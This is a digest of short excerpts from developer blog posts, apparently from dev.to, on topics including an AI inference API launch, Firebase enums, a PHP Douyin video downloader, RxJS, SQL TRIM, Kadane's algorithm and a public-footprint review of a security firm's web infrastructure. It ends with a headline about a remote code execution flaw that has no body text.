    TL;DR: ARK Cloud API launches today with stateful AI inference (almost free input tokens), signup & model inference in under 10 s with Google SSO (no credit card needed), and up to 71% cost savings on Stable Diffusion 3.5 Large inference — all running on 100% EU‑based infrastructure. Most AI APIs are stateless—meaning you resend the same context over and over, burning budget and GPU cycles. As inference demand skyrockets, this inefficiency becomes a bottleneck. Enter stateful inference: Almost-Zero-Cost Input Tokens Context persists across calls, so you never overpay for tokens you’ve already sent. Optimized GPU Utilization Less recompute = more throughput on the same hardware. We built ARK Cloud API to fix that. Our stateful mode “remembers” your context so your input tokens cost zero—forever. That means richer, longer conversations and way more efficient GPU use. 🚀 10-Second Onboarding Google SSO → Dashboard → API Key. Blink, and you’re running inference. 💰 50 000 Free Credits No credit card required. Fuel LLMs, STT, embeddings, and Stable Diffusion. 🔀 OpenAI-Compatible API Swap endpoints, keep your existing code. 🇪🇺 100% EU Infrastructure GDPR-strong, no logs, no stored data. 💸 Pay-As-You-Go Only pay for output tokens and compute time. 🎨 Cheapest Stable Diffusion Best price on the market for Stable Diffusion Visit ark-labs.cloud Sign in with Google (⏱️ 10s) Claim your 50 000 free credits Integrate your existing calls to ARK Cloud API Scale with confidence—no hidden fees, total privacy  ( 5 min )
    Firebase Data Connect Introduces Enum Support for Enhanced Data Modeling
    Enums allow you to quickly define a list of static, predefined values with a specific order, which can significantly improve data integrity and code readability within your applications. Adding an enum to your Firebase Data Connect service is straightforward. First, you define the enum type along with its predefined values. Then, you reference it in your table schema. enum Language { ENGLISH FRENCH SPANISH GERMAN JAPANESE "Languages not defined above" OTHER_LANGUAGES } type Movie @table { title: String! genre: String description: String originalLanguage: Language! @default(value: ENGLISH) availableLanguages: [Language!] // other fields } In this example, we define a Language enum with a set of supported languages. Movie type to specify the original languag…  ( 6 min )
    What is Data Integration: A Comprehensive Glossary in 2025
    What Is Data Integration? Data integration is the process of combining data from multiple sources into a single, consistent view. The goal is to break down data silos, improve access, and provide a complete and accurate dataset for analysis, reporting, or daily operations. By aligning formats, fixing inconsistencies, and linking related data, integration helps organizations make better use of their data, leading to stronger insights and more effective decisions. The data integration process usually follows a clear set of steps to ensure reliable and efficient results. While the exact steps may vary depending on the method (such as ETL or data virtualization), the core stages remain the same: Start by identifying all data sources involved. These may include databases, spreadsheets, cloud …  ( 12 min )
    How AI Tools Are Helping Creators Grow Instagram in 2025
    Instagram isn’t just a photo-sharing app anymore — it’s a digital business card, a community, and in many cases, a primary income source. As competition grows in 2025, content creators and brands are turning to AI-powered tools to boost their Instagram game. In this post, I’ll share how AI tools are helping people grow followers on Instagram, improve engagement, and save hours of manual effort — plus a direct way to get real growth with ease. Here are some key ways creators are using AI in 2025: Content Generation (Text & Captions) AI tools like ChatGPT help you create catchy captions, hashtags, and even entire content calendars. Example prompt: “Write 10 engaging captions for a fashion reel using trending hashtags.” Video & Reel Editing Tools like Runway ML and Pictory AI allow creators to generate short-form video content fast. Hashtag Optimization AI-based platforms now auto-suggest niche hashtags based on your image, topic, or target audience. Follower Growth Automation Some AI systems engage with your niche audience, like posts, follow users, and even send DMs — all while remaining ethical and within Instagram’s limits. If you're looking to grow your Instagram followers quickly and safely, you can explore curated services that use data-backed strategies to help you grow organically. 👉 Check out this trusted growth platform – They help creators get real results, without bots or fake profiles. Whether you're a small brand, influencer, or just starting out — their system works with AI and human insight combined. Using AI responsibly is key. Avoid spammy bots or fake follower tactics — they often do more harm than good. Always aim for: ✅ Real engagement ✅ Value-driven content ✅ Ethical growth tools AI isn’t replacing creators — it’s empowering them. If you're struggling with growth on Instagram in 2025, let AI tools and expert-backed services like Famuzo make the process easier and smarter. Let me know what tools you’re using — or if you’ve tried AI for social media yet. 👇  ( 6 min )
    Introduction to Generative Artificial Intelligence - Storyteller
    Hi! Just to make sure, this is just a taking-note, storyteller-type log for the AWS Quiz as part of pursuing my career as a Data Engineer (what's really funny is I started from cloud engineering stuff 😅). I'm the forgetful type, so taking notes is a must. This answer is really based on the learning at: https://awseducate.instructure.com/courses/1108 How can I explain Gen-AI to company executive members? Just use simple words and throw away the tech stuff like: creating new content and ideas, conversations, stories, images, videos, and music. Now the CTO wants to ask about how the technology works, and whether Amazon has experience with Gen AI. Let's start explaining with: Ok, now your team wants to have an AI assistant for generating code. Your team has a machine learning model for a client. The client asks to deploy it on AWS because they really like AWS. So your team does some brainstorming and finds out that AWS Trainium can help host ML training. Back to generative AI, in order to generate images from a text prompt, you must use a Foundation Model (FM) called Multimodal FMs. Multimodal FMs can understand and generate both text and images. What prompt engineering really is: prompt engineering is the process of designing and refining the instructions for a language model to generate specific types of output. AI can really enhance customer experience — like with chatbots and virtual assistants. These two use cases are just a couple of examples, and there are many more you can try.  ( 6 min )
    I couldn’t come up with a title
    PS: This would skew more towards finding peace than loading up on aspiration/goals, and that’s a reflection of where I am in life. That may/may not apply to you, depending on where you are in your own journey. Most of what you see in life is a reflection of your own life. A simple thing like your neighbourhood can shape your whole perception of the world. But the truth is, that is not the world; that is just your world. The world is so much bigger than your little town or what the Twitter algorithm feeds you. That means 👇 You live in a bubble. It is important to know this. For everything you know, there are a million things you don’t. For every feed you see on your social media, there is a billion you don’t know about. Your music playlist is a bubble. Your YouTube feed is a bubble. Your…  ( 7 min )
    Save time and focus on the right part with this hack
    Automate Your Job Hunt 🚀 with n8n 🤖 Sumit Roy ・ Jul 29 #career #hiring #n8n  ( 4 min )
    Gemini Live API: Cycle Tour 🚴🏽
    Check out this playable demo that we saw at Google Cloud Summit London. It's a great way to learn more about the capabilities of the Gemini Live API. #gemini #googlecloudsummit #ai Follow youtube.com/@googleworkspacedevs  ( 7 min )
    How AI Technology is Impacting the Sales Process
    In today’s fast-paced digital economy, artificial intelligence (AI) is transforming industries across the board and sales are no exception. From automating repetitive tasks to providing real-time insights, AI is reshaping how sales teams engage with customers, qualify leads, and close deals. The UK, known for its innovation in fintech and SaaS, is seeing a significant rise in AI-powered tools that are optimising B2B and B2C sales performance. In this article, we'll explore how AI technology is redefining the sales landscape, the benefits it offers to businesses, and what professionals should expect in the near future. Traditionally, sales reps spent hours sifting through spreadsheets or CRM tools to identify leads worth pursuing. With AI, lead scoring is now faster, smarter, and based on d…  ( 7 min )
    The Mistakes of Learning Programmers
    Hi there! 👋 After a long time, I'm finally writing a post — and I’ll also tell you why. It’s about a mistake that broke my confidence, and I don’t want any other learning developer to face the same. There are many mistakes developers face while learning, but I want to talk about my mistake — one I can't forget. Sadly, I see many other devs making the same one. 😕 We all know new languages and libraries are released almost every day. Some of them become popular, and beginner devs get attracted to them. They jump in and start learning something new, while leaving the language they were already learning incomplete. It’s the same as abandoning an old project because it became “too complicated,” and starting a new one instead of finishing what you started. This is called shiny object syndrome …  ( 6 min )
    5 Lessons from Web Development That Apply to People-Finder Platforms
    What do building a React app and reconnecting with a childhood friend have in common? At first glance, not much. One involves component trees and state management; the other, years of distance and a lingering question: "What ever happened to them?" But look closer, and you’ll find that both share something powerful—code designed to connect people. And they don’t work by accident. The tech principles that power great web applications—speed, structure, security, and user-centered design—are the same ones that make people-finders so effective. Web development isn’t just about building tools for businesses—it’s about building bridges between people. In web development, speed isn't just a bonus—it's survival. Studies show that users start bouncing if a page takes more than 2–3 seconds to load. …  ( 8 min )
    bloaty-metafile: visualizing the size of rust programs
    bloaty-metafile is a cli tool to convert csv files generated by bloaty to esbuild's metafile format, so that you can use online tools to analyze the size of the program https://github.com/ahaoboy/bloaty-metafile  ( 4 min )
    My Journey into Data Science with Python: A Personal Story of Curiosity, Challenges, and Career Growth
    My Journey into Data Science with Python: A Personal Story of Curiosity, Challenges, and Career Growth When I began exploring the term 'data science,' it felt like a complex and distant domain. I never imagined it would become such an integral part of my professional identity. In this article, I share my journey into the world of data science with Python—highlighting lessons, tools, and real-world experiences that transformed my career. My Learning Curve: Struggles and Progress Data normalization and feature engineering Model evaluation metrics (accuracy, recall, F1 score) Vectorization and overfitting Hyperparameter tuning I made progress by committing to small daily goals, participating in Kaggle challenges, and watching Python tutorials. Python Libraries That Became My Daily Tools Hands-On Projects That Taught Me the Most Coursera – ‘Applied Data Science with Python’ by University of Michigan Kaggle – For competitions and practice datasets YouTube Channels – StatQuest, Krish Naik Real Python – For beginner to advanced tutorials Medium Blogs – Especially ‘Towards Data Science’ Where I Am Now in My Career If you're based in Chennai and looking to start a structured journey, take time to compare options. During my research, I came across institutions like Placement Point Solutions, which are often mentioned in discussions about the best data science with Python training in Chennai. Choosing the right place to learn can accelerate your path, but self-discipline and curiosity are just as important. To anyone thinking of diving into data science: start small, stay curious, and remember—it’s okay not to know everything. Learn one line of code at a time.  ( 7 min )
    Load Balancing AI/ML API with Apache APISIX
    This blog provides a step-by-step guide to configure Apache APISIX for AI traffic splitting and load balancing between API versions, covering security setup, canary testing, and deployment monitoring. AI/ML API is a one-stop, OpenAI-compatible endpoint that is trusted by 150,000+ developers to 300+ state-of-the-art models—chat, vision, image/video/music generation, embeddings, OCR, and more—from Google, Meta, OpenAI, Anthropic, Mistral, and others. Apache APISIX is a dynamic, real-time, high-performance API Gateway. APISIX API Gateway provides rich traffic management features and can serve as an AI Gateway through its flexible plugin system. Modern AI workloads often require smooth version migrations, A/B testing, and rolling updates. This guide shows you how to: Install Apache APISIX with…  ( 7 min )
    The Complete React Native Styling Guide Every Developer Needs
    From the author of the Telegram channel REACT NATIVE HUB Join a growing community of React Native Devs! 👆 When I first started building React Native apps, I thought styling would be the easy part. After all, it’s just CSS-like properties, right? I couldn’t have been more wrong. Over the years of shipping production apps, I’ve learned that thoughtful styling architecture is what separates amateur projects from professional, maintainable applications. Today, I want to share the styling patterns and practices that have transformed how I approach React Native development — techniques that will save you hours of debugging and make your apps a joy to maintain. The Foundation: Building a Design System That Scales Why Most React Native Apps Look Inconsistent The biggest mistake I see…  ( 9 min )
    Incorrect PFS Free Space Information Error in SQL Server: A DBA’s Guide
    “Incorrect PFS free space information for page (1:103151) in object ID 1993058136, index ID 1, partition ID 72057594434682880, alloc unit ID 71906736119218176 (type LOB data).” This error typically indicates a mismatch between the actual page allocation and what’s recorded in the Page Free Space (PFS) pages. It can affect database consistency checks and indicates underlying corruption in the database file. In this article, we will see how to fix the “incorrect PFS free space information for page” error in SQL Server. This error occurs when there is some issue with page free space (PFS) pages. The PFS pages can become inconsistent or corrupted due to one of the following reasons: • Corruption in SQL Server database. The error message usually displays the information related to the problema…  ( 7 min )
    When did we start piling up so many tools just to manage an interface?
    Do we really need all this just to display some information or respond to a click? Without denying the progress we've made, it might be worth asking whether things could be simpler. Some thoughts and concrete ideas coming soon. What do you think? FrontendDev #WebDev #JavaScript #React #Angular #Vue #Svelte  ( 5 min )
    China's Market in a Macro Context: Opportunities and Challenges Coexist
    In today's global wave of the digital economy, the Chinese market, with its vast user base and thriving digital ecosystem, is undoubtedly an indispensable strategic high ground for any foreign platform seeking international growth. It boasts not only the world's largest internet user group but also a vibrant landscape of innovative business models, offering unprecedented development opportunities for various digital services and content platforms. However, this land of opportunity also comes with unique challenges: a complex regulatory environment, stringent data compliance requirements, volatile network infrastructure, and escalating cybersecurity threats collectively form the hurdles foreign platforms must overcome to enter the Chinese market. Understanding and effectively addressing the…  ( 7 min )
    PHP code for downloading douyin/tiktok videos without watermark
    Disclaimer: For personal learning and research purposes only. Strictly prohibited for other uses. <?php //Example:http://xxx.com/douyin/?msg=https://v.douyin.com/iyEQf36P/ $msg = urldecode($_REQUEST['msg']); if (is_numeric($msg)) { $video_id = $msg; } else { preg_match('/https?:\/\/[^\s]+/', $msg, $video_url); $video_url = $video_url[0]; $redirected_url = get_redirected_url($video_url); preg_match('/(\d+)/', $redirected_url, $matches); $video_id = $matches[1]; // echo $video_id; } function get_redirected_url($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_exec($ch); $redirected_url = curl_getinfo($ch, CURLINFO_EFFECTIVE_URL); curl_close($ch); retur…  ( 5 min )
    Git default options
    Git has become a fundamental part of our developers' daily routine that it's hard to remember our lives without it. And yet, most of us use a limited set of commands and options. Today, I want to focus on two commands most developers probably use every day and look at the defaults behind them. After git commit, git push is probably the second most used command. I don't think I'll teach you anything with this excerpt from the documentation: git-push - Update remote refs along with associated objects -- Git documentation The default options pushes the current branch to the origin remote; it assumes a branch of the same name as the local branch exists on the latter. If it doesn't exist, you need to use -u option to create it. Also, the default assumes a single upstream named origin. If you wa…  ( 6 min )
    Why Did TikTok’s Parent Company Open Source Coze? A Look Into the Future of Workflow Agents
    Coze Goes Open Source: What’s ByteDance’s Real Game Plan? In a surprise move that's sparked discussion across the developer community, ByteDance, the parent company of TikTok, recently open-sourced its internal workflow automation platform, Coze Studio—the same technology that powers its popular consumer-facing AI tool “Coze” (also known as 扣子). At first glance, this might seem like just another open-source release. But when a tech giant like ByteDance opens the hood on a core platform used for building AI agents and workflows, it's worth paying attention. Is this just a goodwill gesture, or is there a deeper strategy at play? ByteDance open-sourced not just one tool, but a critical trio of components that together form the backbone of its agent development and operations platform: Coze …  ( 7 min )
    You've been using Observables all wrong!
    Yes, this is serious, even if you have over 10 years experience using Observables, you got used to call fromEvent() or .subscribe()/.unsubscribe() manually. const fib = new Subject().pipe( scan(([a, b], _, i) => [b, a +b +(i==1)], [0, 0]), map(([_, b]) => b), ); fib.subscribe(console.log); fib.next(); fib.next(); fib.next(); // Using RxJS fromEvent(document, 'click').subscribe(fib); Sure, that's what everyone has been telling you, but what if I said this is not just inconvenient and repetitive (which you may have figured already), but not even necessary anymore? The idea, in line with the concept of Extensible Effects but applied to reactive streams, lies in organising code in two parts: your streams first, followed by a declaration of their bindings. When using JavaScript Compone…  ( 6 min )
    Beyond the Hype: Unmasking AI's Limitations in Business Transformation
    In the rapidly evolving landscape of business, the adoption of artificial intelligence (AI) presents both thrilling opportunities and daunting challenges. Many organizations find the allure of enhancing efficiency and driving innovation is tempered by a growing skepticism surrounding the limitations of AI. Is it truly a panacea for complex business problems? Or is it merely a tool with capabilities yet to be fully realized? As decision-makers grapple with the implications of integrating AI into their business models, they face a myriad of perspectives on its efficacy. Some celebrate advances like AlphaFold and Grok4, heralding them as revolutionary breakthroughs that could redefine industries. Meanwhile, others caution that AI cannot wholly replace human ingenuity or creativity, nor can …  ( 15 min )
    It's 2025: Your Python Toolbox Is More Than Just PyCharm
    The Python ecosystem is getting bigger and bigger, with new tools popping up constantly. Feeling a bit overwhelmed? Don't panic. This article cuts through the noise. We'll only talk about the hypermodern tools that are real game-changers for your development experience in 2025. ServBay: Say Goodbye to Tedious Python Environments Let's be real: Python environment configuration is the biggest headache for newcomers, where Python 2.x and 3.x can easily end up in a chaotic mess. Forget newcomers; even seasoned developers often pull their hair out dealing with different Python versions for different projects. Now, there's ServBay. Think of it as a super-toolbox for developers. With it, installing Python is just a matter of a few clicks. Even better, you can have multiple versions like Python …  ( 9 min )
    Calculating the Win Probabilities of Premier League Teams(2024)
    By Cheptoo Faith This analysis estimated the win probabilities of the Premier League teams using actual match data obtained from football-data.org. The article breaks down the step-by-step process of how the probabilities were obtained. Step 1: Gathering the Match Data https://api.football-data.org/v4/competitions/PL/matches?season=2024), which provides detailed stats for every Premier League match. Using Python and the requests library, I sent a request to the API and retrieved data, including match status, team names, and final scores. This gave me the raw data needed for analysis. Step 2: Structuring the Data Step 3: Calculating Win Probabilities Win Probability Formula ​  ( 5 min )
    How We Automated Project Administration with Jira, Make and Airtable
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    [Boost]
    10 AI Skills Companies Are Looking for in 2025 Hadil Ben Abdallah for Final Round AI ・ Jul 29 #ai #programming #productivity #career  ( 4 min )
    Time Complexity & Linear Search
    ⏱️ What Is Time Complexity? Time Complexity tells us how fast or slow an algorithm is as the size of the input grows. It shows how many steps an algorithm takes to finish its work when given n items (input size). 🖥️ Different computers have different speeds (CPU, RAM, etc.). 💻 Code written in one language might run slower than the same code in another language. ⚙️ Other programs running on your computer can slow things down. ⏰ Time in seconds is not the same everywhere. So we need a better way to measure performance that works on any machine. Instead of counting time, we count how many steps the algorithm takes. This tells us: How the program behaves when the input grows (for example, from 10 items to 1,000 items). If the program will still be fast with big data.  ( 5 min )
    Daily Habit Tracker Guide: Why and How to Track Your Habits
    Are you a latecomer? Or someone who tries to complete everything on time but cannot achieve the goal? You are not alone in this; many people do the hard work to achieve their short-term and long-term goals, but it does not go the way you expected. The reason isn’t a lack of effort; it is due to a lack of time management, discipline, and a habit of putting things off until tomorrow. What can be the solution then? A person needs consistency and continuous motivation to step up towards their goal and achieve the target. Tight schedule and hectic life do not allow anyone to make time for others until it is their duty. And hiring someone to keep you motivated and consistent will be costly. Why not find another solution that is efficient and cost-effective? Daily habit tracker+ comes into play…  ( 7 min )
    Computer Vision Algorithms Led AI — Until Transformers Took Over
    Computer Vision Algorithms Led AI — Until Transformers Took Over Until 2017, most AI advancements were driven by breakthroughs in computer vision, largely powered by Convolutional Neural Networks (CNNs). Models like ResNet, YOLO, and Faster R-CNN enabled significant progress in tasks such as image classification, object detection, and segmentation. In 2017, the introduction of the Transformer architecture through the paper "Attention is All You Need" marked a major shift in the AI landscape. Originally designed for Natural Language Processing (NLP) Led to models like: BERT (Bidirectional Encoder Representations from Transformers) GPT (Generative Pretrained Transformer) T5 (Text-To-Text Transfer Transformer) These models achieved state-of-the-art performance in many NLP benchmarks and brought language models to the center of AI research. Over time, the impact of Transformers extended beyond NLP: Computer Vision: ViT (Vision Transformer) SAM (Segment Anything) Multi-modal Models: CLIP (connects text and images) DALL·E (text-to-image generation) These models demonstrate the flexibility and scalability of the Transformer architecture across vision, language, and beyond. The shift from CNN-dominated pipelines to Transformer-based architectures represents one of the most significant transitions in the history of AI. Let me know your thoughts in the comments below. AI #DeepLearning #Transformers #NLP #ComputerVision #BERT #GPT #ViT #CLIP #TechTrends  ( 5 min )
    Project KARL - AI
    Hello Readers It's day #97 of building KARL - AI. Update: Project is in Development Stage. We're close to our first public preview. Documentation is ready. More updates to follow soon. Explore more here ↗  ( 4 min )
    Creating an Interactive UI with swipeAction in HarmonyOS Next
    Read the original article:Creating an Interactive UI with swipeAction in HarmonyOS Next swipeAction Introduction Swipe menus are common in many applications. For example, a messaging application generally provides a swipe-to-delete feature for its message list. This feature allows users to delete a message by swiping left on it and touching the delete button. In this article, we will discuss swiperAction and how we can use. The swipeAction attribute allows users to swipe left or right on a list item. The SwipeActionOptions parameter is mandatory for initializing the swipeAction attribute. The start parameter indicates the component that appears from the start edge when the list item is swiped right, and the end parameter indicates the component that appears from the end edge w…  ( 6 min )
    Day-70 My Java Basics Revision
    Today, instead of attending regular classes, we had a test to revise everything we learned since the beginning of our Java journey. Here's a detailed summary of all the key concepts we've discussed so far. A class is a blueprint or template used to create objects. It is declared using the class keyword. Inside a class, we can declare variables, methods, and constructors. Example: class Main { // variables, methods, constructors } - 2. Global and Local Variables Local Variables: Declared inside a method, only accessible within that method. Global Variables: Declared outside methods but inside a class; accessible anywhere in the class. Also called fields. Global variables are of two types: Static (class variables) Non-static (instance variables) Java has two…  ( 6 min )
    Hudson Cybertec: A Benchmark in WP and DNS Security
    As part of my ongoing public evaluation of cybersecurity firms, today’s focus is on Hudson Cybertec — a Dutch company specializing in industrial cybersecurity. As always, I limit my review to the public-facing footprint only, ensuring everything remains fully legal and ethical. But let’s be honest — most real-world attacks begin precisely at the edge: DNS configurations, exposed subdomains, CMS fingerprints, and misconfigured cloud services. With Hudson Cybertec, I encountered something rare in this field: a security-first web infrastructure that actually matches the company’s own promises. From DNS to CMS, this organization sets a shining example of what a well-secured digital perimeter should look like. Locked Down DNS: No Loose Ends There’s no trace of test environments, leftover Kuber…  ( 6 min )
    Building Dynamic Forms in Flutter Like a Pro
    Ever wondered how dynamic forms actually work? Turns out, you can build smart, dynamic forms with just about any tech stack—but today, I’ll walk you through a supercharged way to do this in Flutter. And trust me, once you try it, manual form coding will feel like chiseling on stone! We’ll leverage the awesome flutter_form_builder package for our form wizardry. Folder Structure: Laying the Foundation widgets/: All your input widgets go here—text fields, radios, dropdowns—you name it. presentation/: The home for screens and UI logic. model/: Data models. If it’s shaping your data, it lives here. Check out a sample setup: The Heartbeat: Config JSON Meet the ConfigJson Class name: Unique field key (for saving form data). label: What the user actually sees. type: Text? Radio? Checkbox? You dec…  ( 6 min )
    Struggling to Hire the Right React Developer? Here's What Most Companies Get Wrong
    Hiring a React developer should be simple. It is one of the most popular frontend frameworks. But many companies still face problems when trying to hire the right React developer. One big challenge is finding developers who truly understand React. Many people mention React in their resume but do not have real project experience or deep knowledge. Another common issue is poor communication skills. A React developer needs to work closely with designers and product teams. Without clear communication, even good technical skills are not enough. Retention is another struggle. Even if you hire a good developer, keeping them in a competitive market is difficult. So, how can you make hiring better and smarter The Right Way to Hire a React Developer It covers how to check skills, what to look for in interviews, and how to make sure you are hiring someone who fits the role well. Hiring a good React developer is not impossible. It just needs the right process and understanding.  ( 5 min )
    Microsoft's High-Stakes Negotiations: What OpenAI's AGI Access Means for the AI Industry
    In the rapidly evolving landscape of artificial intelligence, strategic partnerships have emerged as critical enablers of innovation and market dominance. A poignant example lies in Microsoft’s ongoing negotiations with OpenAI, a collaboration that has already seen the tech giant invest a substantial $13.75 billion. This immense commitment not only underscores Microsoft's belief in OpenAI's potential but also highlights the strategic importance of maintaining access to pioneering technologies as OpenAI approaches a pivotal milestone in artificial general intelligence (AGI). With current agreements set to expire in 2030, Microsoft's aim to enhance its equity stake to the low- to mid-30% range is a bold move to safeguard its interests and future prospects in the AI sphere. As these negotiati…  ( 14 min )
    Escaping the Dopamine Trap with Super Productivity
    Modern work is filled with distractions designed to hijack our brains. Social media notifications, endless news feeds, and quick dopamine hits pull us away from deep, meaningful work. Over time, these instant rewards train our minds to avoid effort and chase constant stimulation — a phenomenon known as the Dopamine Trap. For developers, creatives, and knowledge workers, this trap can be devastating. Tasks that require focus — debugging, writing, planning — get replaced with shallow multitasking and reactive work. The result: you feel busy but never truly productive. Super Productivity (SP) was built to counter exactly this problem. Its features help shift you from reactive, dopamine-driven behavior into intentional, goal-focused work: Timeboxing and Task Breakdown Pomodoro and Mindful Breaks Distraction-Free Design Reflection and Progress Tracking A Simple Framework to Try Start your day in SP: List only your top three priorities. Work in 50–90 minute focus blocks: Use the Pomodoro timer if needed. Allow one intentional break per block: Walk, breathe, grab coffee — not social media. Review at the end of the day: Log your progress to build momentum. The goal isn’t to eliminate all dopamine — it’s to stop external systems from controlling it. With SP, you create a structure that rewards focus and intentional action, letting you reclaim control over your time and attention.  ( 6 min )
    What Was the Previous Situation in R2 Zones?
    In New South Wales, R2 zones are designated as Low-Density Residential areas, intended primarily for single detached dwellings and associated residential uses. Before recent planning reforms, development opportunities in R2 zones were tightly restricted, particularly for housing types beyond traditional stand-alone homes. This limitation significantly influenced the shape of suburban development across the state. Under the pre-2024 planning framework, local councils controlled what types of housing could be built within R2 zones through their Local Environmental Plans (LEPs). While some councils permitted dual occupancies or semi-detached dwellings in these areas, many others prohibited them entirely or placed restrictive conditions on lot size, width, and access. Where dual occupancy was …  ( 6 min )
    From Brute Force to Kadane’s: Solving the Maximum Subarray Problem Efficiently
    🚀 Mastering Kadane's Algorithm: The Ultimate Guide to Maximum Subarray Sum Kadane's Algorithm is one of the most elegant and widely asked Dynamic Programming techniques in coding interviews and DSA contests. If you're tackling problems involving maximum sum of contiguous subarrays, then this is a must-have in your toolbox. You're given an array of integers (which may contain both positive and negative numbers). You need to find the maximum sum of any contiguous subarray. Imagine you're tracking your profit/loss daily in a month. You want to find the most profitable streak of consecutive days. Some days might have loss (negative), some profit (positive), but you must find the contiguous stretch that gives you the maximum net gain. Input: nums = [-2,1,-3,4,-1,2,1,-5,4] Output: 6 Explanati…  ( 6 min )
    The Bug That Drove Me So Crazy, I Got Hired Just to Fix It
    The Itch I Couldn't Scratch Picture this: You're searching through documentation, typing away, and the search results keep flickering between what you typed three characters ago and what you're typing now. It's like having a conversation with someone who's perpetually three seconds behind. That was my daily reality with Mintlify for over two years. For context, Mintlify provides hosted documentation sites for developers (think GitBook, but cooler). They acquired my previous company, Trieve, which ironically provided the search infrastructure powering their 30,000+ documentation sites. So not only was I a frustrated user, I was the guy whose search technology was being... let's say "suboptimally implemented." The problem? They weren't aborting debounced search queries. Every keystroke fir…  ( 7 min )
    How TaskForce is Reimagining Freelancing with Web3 and Real Token Utility
    “Why are we still paying 20% to platforms just to work?” That’s the question that sparked the creation of TaskForce, a new decentralized freelancing platform powered by the $TASK utility token. In a world where Web3 is reshaping everything from finance to identity, freelance platforms have stayed surprisingly Web2 — centralized, expensive, and restrictive. TaskForce is here to change that. Most online work platforms: Charge 10–20% commission fees Delay payouts by days or weeks Require full KYC and bank access Own your ratings and client history Censor or suspend accounts arbitrarily This isn’t just inefficient — it’s fundamentally broken for the global, remote-first world we live in. TaskForce eliminates all of the above with a Web3-native approach: 🧠 No platform fees — freelancers keep 1…  ( 6 min )
    My first project
    Check out this Pen I made!  ( 4 min )
    Clean and Compare Strings in SQL with TRIM
    Inconsistent string values are one of the most common causes of mismatched query results. Whether you're importing CSVs, parsing form input, or updating scraped text, you'll run into spaces, dashes, dots, or other noise. SQL's TRIM function gives you a way to clean those strings up—either on insert or before comparison. Let’s walk through how TRIM works, some example use cases, and answers to common questions about it. You can use TRIM to remove default whitespace, or configure it to remove other characters. 1. Trim both leading and trailing whitespace: SELECT TRIM(' Hello SQL '); -- Returns: 'Hello SQL' 2. Trim just the beginning of a string: SELECT TRIM(LEADING '-' FROM '--login'); -- Returns: 'login' 3. Trim just the end: SELECT TRIM(TRAILING '.' FROM 'done...'); -- Returns: 'done' 4. Clean up form input before inserting: INSERT INTO users (name, email) VALUES ( TRIM(' John Doe '), TRIM(' johndoe@email.com ') ); 5. Normalize imported data: UPDATE product_catalog SET sku = TRIM(sku), category = TRIM(category); What types of TRIM functions are there in SQL? Standard SQL supports TRIM, which defaults to removing whitespace. You can also use LTRIM (left side) and RTRIM (right side) when needed. Can I trim characters other than whitespace? Yes, you can. Use this syntax: TRIM(LEADING '0' FROM '00045') → '45'. Is SQL Server supported? Yes, TRIM is supported in SQL Server 2017 and later. LTRIM and RTRIM are available in earlier versions. Does TRIM affect performance? Only slightly. It's fine for cleanup operations or input sanitation, but avoid using it in large-scale joins or filters without indexing strategies. SQL TRIM simplifies string cleanup for a range of tasks—whether it’s formatting, comparison, or removing noise from inputs. Clean strings lead to more reliable queries and data quality. Read SQL TRIM: Removing Extra Space Characters From a String for more info.  ( 20 min )
    LangChain.js with Node.js: Build AI-Powered Apps Fast
    The explosive growth of AI in 2024–2025 has made building LLM-powered applications easier than ever. While most tutorials focus on Python-based tooling, Node.js developers are no longer left behind. With the release of LangChain.js, a JavaScript/TypeScript-first framework, developers can now create powerful, composable AI apps natively within their Node.js ecosystem. In this blog, we’ll explore how to use LangChain.js with Node.js to build intelligent applications—everything from basic LLM calls to advanced use cases like document Q&A, agent workflows, and memory. If you're looking to combine the flexibility of JavaScript with the intelligence of language models like OpenAI, this post is for you. LangChain.js is the JavaScript implementation of the popular LangChain framework, originally…  ( 7 min )
    Skyline Queries for Non-Academics
    Laptop Shopping Imagine you're buying a laptop. You care about two things: price and battery life. You don’t know which laptop is the best, but you can easily spot laptops that are obviously worse than others. For example, suppose: Laptop A costs $1,000 and lasts 4 hours. Laptop B costs $800 and lasts 6 hours. Laptop C costs $900 and lasts 8 hours. Laptop D costs $700 and lasts 5 hours. Even if you can’t decide between B, C, or D, you know that A isn’t a good deal — it’s both more expensive and lasts less than others. We say Laptop B dominates Laptop A because it's better or equal in all dimensions, and strictly better in at least one. This kind of filtering is what Skyline Queries are all about: finding the best trade-offs in multi-dimensional data. Skyline Queries help identify Pare…  ( 9 min )
    LeetCode #. Contains Duplicate
    Average case: O(n) Single loop through the array (n iterations) HashSet contains() and add() operations are O(1) on average Total: n × O(1) = O(n) Worst case: O(n²) If there are many hash collisions, HashSet operations degrade to O(n) This happens rarely with a good hash function Total: n × O(n) = O(n²) class Solution { public boolean containsDuplicate(int[] nums) { Set numSet = new HashSet(); for (int i = 0; i < nums.length; i++) { if (numSet.contains(nums[i])) { return true; } numSet.add(nums[i]); } return false; } } How HashSet normally works (O(1)): HashSet uses a hash function to convert your value into an array index hash("apple") → index 5, store "apple" at bucket[5] hash("apple") → index 5, check bucket[5] What are hash collisions? hash("apple") → index 5 hash("banana") → index 5 (collision!) How HashSet handles collisions: bucket[5] → [apple] → [banana] → [cherry] → ... Why this causes O(n) operations: To find "cherry", you must traverse: apple → banana → cherry Worst case scenario: All n elements hash to the same bucket (terrible hash function) O(n) O(n × n) = O(n²) Why it's rare: Good hash functions distribute values evenly across buckets O(1) average performance  ( 5 min )
    From Raw Data to Insights: 4 Best Viz Tools of 2025
    In the era of data-driven decision-making, the ability to transform complex datasets into actionable insights is crucial. This article evaluates four leading international big data visualization tools that excel in scalability, interactivity, and AI integration, helping enterprises unlock the full potential of their data assets. Tableau GPT: Conversational Analytics Powerhouse Core Strength: Natural Language Processing (NLP) for Business Users Tableau GPT, integrated with Salesforce's Einstein AI, redefines data interaction by allowing users to ask questions in plain English (e.g., "Show sales trends by region and compare with Q2 2024"). The tool automatically selects optimal chart types (dynamic line charts for time series, heatmaps for geographic data) and generates contextual explanatio…  ( 6 min )
    Everyone's using LLMs, but do they actually "understand" what they generate? Let's unpack the illusion of AI comprehension.
    Beyond Tokens: What LLMs Actually Understand (and What They Don't) Rishee Panchal ・ Jul 30 #ai #machinelearning #llm #learning  ( 5 min )
    Remote Code Execution Flaw Found in Yonyou U8 Cloud (All Versions Affected)
